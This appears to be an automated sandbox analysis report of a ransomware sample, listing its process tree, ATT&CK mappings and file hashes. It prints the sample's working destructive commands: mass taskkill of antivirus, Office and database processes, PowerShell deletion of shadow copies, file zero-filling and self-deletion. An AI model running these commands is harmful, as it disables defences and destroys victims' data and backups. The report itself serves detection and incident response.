C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3368
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3472
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:2992
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4456
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4176
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1500
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3568
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4108
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1020
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2356
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2384
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3576
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1092
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3536
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2348
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2772
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:556
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5012
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2360
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4012
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2424
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2840
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4136
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3912
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1436
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4944
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- Opens file in notepad (likely ransom note)
PID:4068
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:6812 -
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5004
-
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:5016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe2⤵PID:1200
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4692
-
-
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.3MB
MD53af176a97666f2d10f5fdd0c4f8d395d
SHA193978c99cde12cb9f2f1fc0d43ea5d125f024dbe
SHA256bad2335407f2ce8451ba0ae4de704a5ead3bed29f0a35ff970db80128c23b85c
SHA512c20a4fb8bc2bed4a8f7ddc213bcd12c6f4104076f8f094a0d3c57014574b0a89b333e93be91bfd212a0c648e5672e6b116069e44e97107a7af01b6a5cdf70f84
-
C:\ProgramData\Package Cache\{01B2627D-8443-41C0-97F0-9F72AC2FD6A0}v56.64.8804\windowsdesktop-runtime-7.0.16-win-x64.msi
Filesize28.8MB
MD5925cd14012e7b22ad5e9da57af28934e
SHA1af706c9f59b4bf59f7fedb5f611c903d61eebea7
SHA2560dc6e4fa310d53cd9da988484762f7b84f39422d093138a61558d190914202fe
SHA51243d65181f54c49f40b225bd06e7cfde93ca7db441aef40cd986c53e7f77028756fe326253743505ca6b59eb5e9deb976b775a3945c46e9ad9341ab589f7f8e5d
-
C:\ProgramData\Package Cache\{1B690A4C-381A-40D4-BA4A-3F8ACD5CE797}v56.64.8781\dotnet-hostfxr-7.0.16-win-x64.msi.energy[[email protected]]
Filesize804KB
MD5a5c95989e13a9398827a96925164dbf7
SHA163c44e959e2a0c4b155842ae6f42f725dfa5335a
SHA2560ac25be98ac344e33379503d22ebc09d48b7f2525bf0947017095b8bd1d569e8
SHA512f296cdd3d3546449c7fbf643cadc8b331f374e7865021bb6e0a7a15f5a45b0649911afc0e2a1ef74318e8b0cf4e208720c8dc5f5aa58c4cadf2ac56702612c51
-
C:\ProgramData\Package Cache\{79043ED0-7ED1-4227-A5E5-04C5594D21F7}v48.108.8828\dotnet-runtime-6.0.27-win-x64.msi.energy[[email protected]]
Filesize25.7MB
MD51a10d1ee002d820ecc12fa700ca6d030
SHA1fb52df28653046806a0fc65a3f4f858c0e4dabf3
SHA256adea69281f59ff47434c584d629d0638fb2eaf8ff5ce0bf6769ac864a17ada38
SHA512e962ffb26d3ef54c90696b66323765537a683ad0cc5701c2b90de2a3160c3ecfb428d03a416aa1d3de171428061bddc9c58f2fea30e6e3b74f5193f49e43c895
-
C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\vc_runtimeAdditional_x86.msi.energy[[email protected]]
Filesize180KB
MD5d7537459196c7a801df126d474a31ac7
SHA1c5d7af9a0f52e8a7843beaf63fbc1ad969fee9e1
SHA25692c8ef6a8299c53d300cd8881a09d5e4d12e320a4a0f399a2830a50f4c0d6219
SHA512fe63e1dca0f62cca29365f821a15ca03d0644858d9d52ba216d90352145df22bbf18b13fff48f8f1d92e0566a6195cc5d6fd6279b1d0896b5e347d4b880402d9
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD5efa4168b73a5e8ae56d49bcac4d67861
SHA1b3fe6b2d9fc05ad7892a2c8b96914764336b3067
SHA2567aab157fba3a543647a38cc8729ffb962a58cc2093d94566c9e68ff73d134dca
SHA512a1f305eac9c73c951f22e76f3904c1c6bb518b12d8a74bbea544c845f3d592e7915ec47d6531a3a4e669f6ab12311f3a632ff47a68f36370111d1c82cf8b6e99
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
828B
MD5dd7cadd7aea8403047636109b1502116
SHA13354ef1c8f9b4ef266f10cb35b7d4bbd60b57677
SHA2568e40a945593d766b414c09900b1e8786d92012840f41e76dcff24b7f36137ffc
SHA5123668b37f405303d4b9cd399c3c1ee9277d63159d743bb2fce428e91d4e6c0007d3d881577563209738baa5ec51b79eefb341551f26d458728da9168457c83548